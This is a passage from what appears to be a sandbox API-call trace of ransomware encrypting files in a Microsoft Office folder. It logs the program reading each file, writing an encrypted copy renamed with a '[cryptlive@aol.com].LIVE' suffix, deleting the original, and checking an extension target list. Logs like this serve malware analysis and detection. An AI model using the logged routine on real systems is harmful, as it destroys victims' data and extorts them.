dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0142.421] GetLastError () returned 0x0 [0142.421] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x332, lpOverlapped=0x0) returned 1 [0142.423] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x340, lpOverlapped=0x0) returned 1 [0142.424] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.424] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.424] SetEndOfFile (hFile=0x36c) returned 1 [0142.424] CloseHandle (hObject=0x36c) returned 1 [0142.424] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.424] SetEndOfFile (hFile=0x1dc) returned 1 [0142.426] CloseHandle (hObject=0x1dc) returned 1 [0142.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd")) returned 1 [0142.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.427] lstrlenW (lpString=".doc") returned 4 [0142.427] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0142.427] lstrlenW (lpString=".docx") returned 5 [0142.427] lstrcmpiW (lpString1=".docx", lpString2="Y.VRD") returned -1 [0142.427] lstrlenW (lpString=".pdf") returned 4 [0142.427] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0142.427] lstrlenW (lpString=".xls") returned 4 [0142.427] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0142.427] lstrlenW (lpString=".xlsx") returned 5 [0142.427] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VRD") returned -1 [0142.428] lstrlenW (lpString=".ppt") returned 4 [0142.428] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0142.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.428] lstrlenW (lpString=".zip") returned 4 [0142.428] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0142.428] lstrlenW (lpString=".rar") returned 4 [0142.428] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0142.428] lstrlenW (lpString=".bz2") returned 4 [0142.428] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0142.428] lstrlenW (lpString=".7z") returned 3 [0142.428] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0142.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.428] lstrlenW (lpString=".dbf") returned 4 [0142.428] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0142.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.428] lstrlenW (lpString=".1cd") returned 4 [0142.428] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0142.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.428] lstrlenW (lpString=".jpg") returned 4 [0142.428] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0142.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.428] lstrlenW (lpString=".doc") returned 4 [0142.428] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0142.428] lstrlenW (lpString=".docx") returned 5 [0142.428] lstrcmpiW (lpString1=".docx", lpString2="Y.VRD") returned -1 [0142.428] lstrlenW (lpString=".pdf") returned 4 [0142.428] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0142.428] lstrlenW (lpString=".xls") returned 4 [0142.428] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0142.428] lstrlenW (lpString=".xlsx") returned 5 [0142.428] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VRD") returned -1 [0142.428] lstrlenW (lpString=".ppt") returned 4 [0142.428] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0142.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.428] lstrlenW (lpString=".zip") returned 4 [0142.429] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0142.429] lstrlenW (lpString=".rar") returned 4 [0142.429] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0142.429] lstrlenW (lpString=".bz2") returned 4 [0142.429] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0142.429] lstrlenW (lpString=".7z") returned 3 [0142.429] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0142.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.429] lstrlenW (lpString=".dbf") returned 4 [0142.429] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0142.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.429] lstrlenW (lpString=".1cd") returned 4 [0142.429] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0142.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0142.429] lstrlenW (lpString=".jpg") returned 4 [0142.429] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0142.429] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0142.429] lstrlenW (lpString="IPDSINTL.DLL") returned 12 [0142.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.430] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2270608) returned 1 [0142.430] CloseHandle (hObject=0x1dc) returned 1 [0142.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll")) returned 0x20 [0142.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0142.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.430] lstrlenW (lpString=".doc") returned 4 [0142.430] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.430] lstrlenW (lpString=".docx") returned 5 [0142.430] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0142.430] lstrlenW (lpString=".pdf") returned 4 [0142.430] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.430] lstrlenW (lpString=".xls") returned 4 [0142.430] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.430] lstrlenW (lpString=".xlsx") returned 5 [0142.430] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0142.430] lstrlenW (lpString=".ppt") returned 4 [0142.430] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.430] lstrlenW (lpString=".zip") returned 4 [0142.431] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.431] lstrlenW (lpString=".rar") returned 4 [0142.431] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.431] lstrlenW (lpString=".bz2") returned 4 [0142.431] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.431] lstrlenW (lpString=".7z") returned 3 [0142.431] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.431] lstrlenW (lpString=".dbf") returned 4 [0142.431] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.431] lstrlenW (lpString=".1cd") returned 4 [0142.431] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.431] lstrlenW (lpString=".jpg") returned 4 [0142.431] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.431] lstrlenW (lpString=".doc") returned 4 [0142.431] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.431] lstrlenW (lpString=".docx") returned 5 [0142.431] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0142.431] lstrlenW (lpString=".pdf") returned 4 [0142.431] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.431] lstrlenW (lpString=".xls") returned 4 [0142.431] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.431] lstrlenW (lpString=".xlsx") returned 5 [0142.431] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0142.431] lstrlenW (lpString=".ppt") returned 4 [0142.431] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.431] lstrlenW (lpString=".zip") returned 4 [0142.431] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.431] lstrlenW (lpString=".rar") returned 4 [0142.431] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.431] lstrlenW (lpString=".bz2") returned 4 [0142.431] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.432] lstrlenW (lpString=".7z") returned 3 [0142.432] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.432] lstrlenW (lpString=".dbf") returned 4 [0142.432] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.432] lstrlenW (lpString=".1cd") returned 4 [0142.432] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0142.432] lstrlenW (lpString=".jpg") returned 4 [0142.432] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.432] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0142.432] lstrlenW (lpString="IPEDINTL.DLL") returned 12 [0142.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.432] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=883600) returned 1 [0142.432] CloseHandle (hObject=0x1dc) returned 1 [0142.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll")) returned 0x20 [0142.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.433] lstrlenW (lpString=".doc") returned 4 [0142.433] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.433] lstrlenW (lpString=".docx") returned 5 [0142.433] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0142.433] lstrlenW (lpString=".pdf") returned 4 [0142.433] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.433] lstrlenW (lpString=".xls") returned 4 [0142.433] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.433] lstrlenW (lpString=".xlsx") returned 5 [0142.433] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0142.433] lstrlenW (lpString=".ppt") returned 4 [0142.433] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.433] lstrlenW (lpString=".zip") returned 4 [0142.433] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.433] lstrlenW (lpString=".rar") returned 4 [0142.433] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.433] lstrlenW (lpString=".bz2") returned 4 [0142.433] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.433] lstrlenW (lpString=".7z") returned 3 [0142.433] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.433] lstrlenW (lpString=".dbf") returned 4 [0142.434] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.434] lstrlenW (lpString=".1cd") returned 4 [0142.434] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.434] lstrlenW (lpString=".jpg") returned 4 [0142.434] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.434] lstrlenW (lpString=".doc") returned 4 [0142.434] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.434] lstrlenW (lpString=".docx") returned 5 [0142.434] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0142.434] lstrlenW (lpString=".pdf") returned 4 [0142.434] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.434] lstrlenW (lpString=".xls") returned 4 [0142.434] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.434] lstrlenW (lpString=".xlsx") returned 5 [0142.434] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0142.434] lstrlenW (lpString=".ppt") returned 4 [0142.434] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.434] lstrlenW (lpString=".zip") returned 4 [0142.434] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.434] lstrlenW (lpString=".rar") returned 4 [0142.434] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.434] lstrlenW (lpString=".bz2") returned 4 [0142.434] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.434] lstrlenW (lpString=".7z") returned 3 [0142.434] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.434] lstrlenW (lpString=".dbf") returned 4 [0142.434] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.434] lstrlenW (lpString=".1cd") returned 4 [0142.434] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0142.435] lstrlenW (lpString=".jpg") returned 4 [0142.435] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.435] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0142.435] lstrlenW (lpString="IPOLKINTL.DLL") returned 13 [0142.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.435] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=255920) returned 1 [0142.435] CloseHandle (hObject=0x1dc) returned 1 [0142.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll")) returned 0x20 [0142.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.436] lstrlenW (lpString=".doc") returned 4 [0142.436] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.436] lstrlenW (lpString=".docx") returned 5 [0142.436] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0142.436] lstrlenW (lpString=".pdf") returned 4 [0142.436] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.436] lstrlenW (lpString=".xls") returned 4 [0142.436] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.436] lstrlenW (lpString=".xlsx") returned 5 [0142.436] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0142.436] lstrlenW (lpString=".ppt") returned 4 [0142.436] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.436] lstrlenW (lpString=".zip") returned 4 [0142.436] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.436] lstrlenW (lpString=".rar") returned 4 [0142.436] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.436] lstrlenW (lpString=".bz2") returned 4 [0142.436] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.436] lstrlenW (lpString=".7z") returned 3 [0142.436] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.436] lstrlenW (lpString=".dbf") returned 4 [0142.436] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.436] lstrlenW (lpString=".1cd") returned 4 [0142.436] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.436] lstrlenW (lpString=".jpg") returned 4 [0142.436] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.437] lstrlenW (lpString=".doc") returned 4 [0142.437] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.437] lstrlenW (lpString=".docx") returned 5 [0142.437] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0142.437] lstrlenW (lpString=".pdf") returned 4 [0142.437] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.437] lstrlenW (lpString=".xls") returned 4 [0142.437] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.437] lstrlenW (lpString=".xlsx") returned 5 [0142.437] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0142.437] lstrlenW (lpString=".ppt") returned 4 [0142.437] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.437] lstrlenW (lpString=".zip") returned 4 [0142.437] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.437] lstrlenW (lpString=".rar") returned 4 [0142.437] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.437] lstrlenW (lpString=".bz2") returned 4 [0142.437] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.437] lstrlenW (lpString=".7z") returned 3 [0142.437] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.437] lstrlenW (lpString=".dbf") returned 4 [0142.437] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.437] lstrlenW (lpString=".1cd") returned 4 [0142.437] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0142.437] lstrlenW (lpString=".jpg") returned 4 [0142.437] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.438] lstrcmpiW (lpString1=".gta", lpString2=".LIVE") returned -1 [0142.438] lstrlenW (lpString="Issue Tracking.gta") returned 18 [0142.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.438] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=249535) returned 1 [0142.438] CloseHandle (hObject=0x1dc) returned 1 [0142.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta")) returned 0x20 [0142.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.612] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.612] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.613] GetLastError () returned 0x0 [0142.613] ReadFile (in: hFile=0x380, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x3cebf, lpOverlapped=0x0) returned 1 [0142.660] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x3cec0, 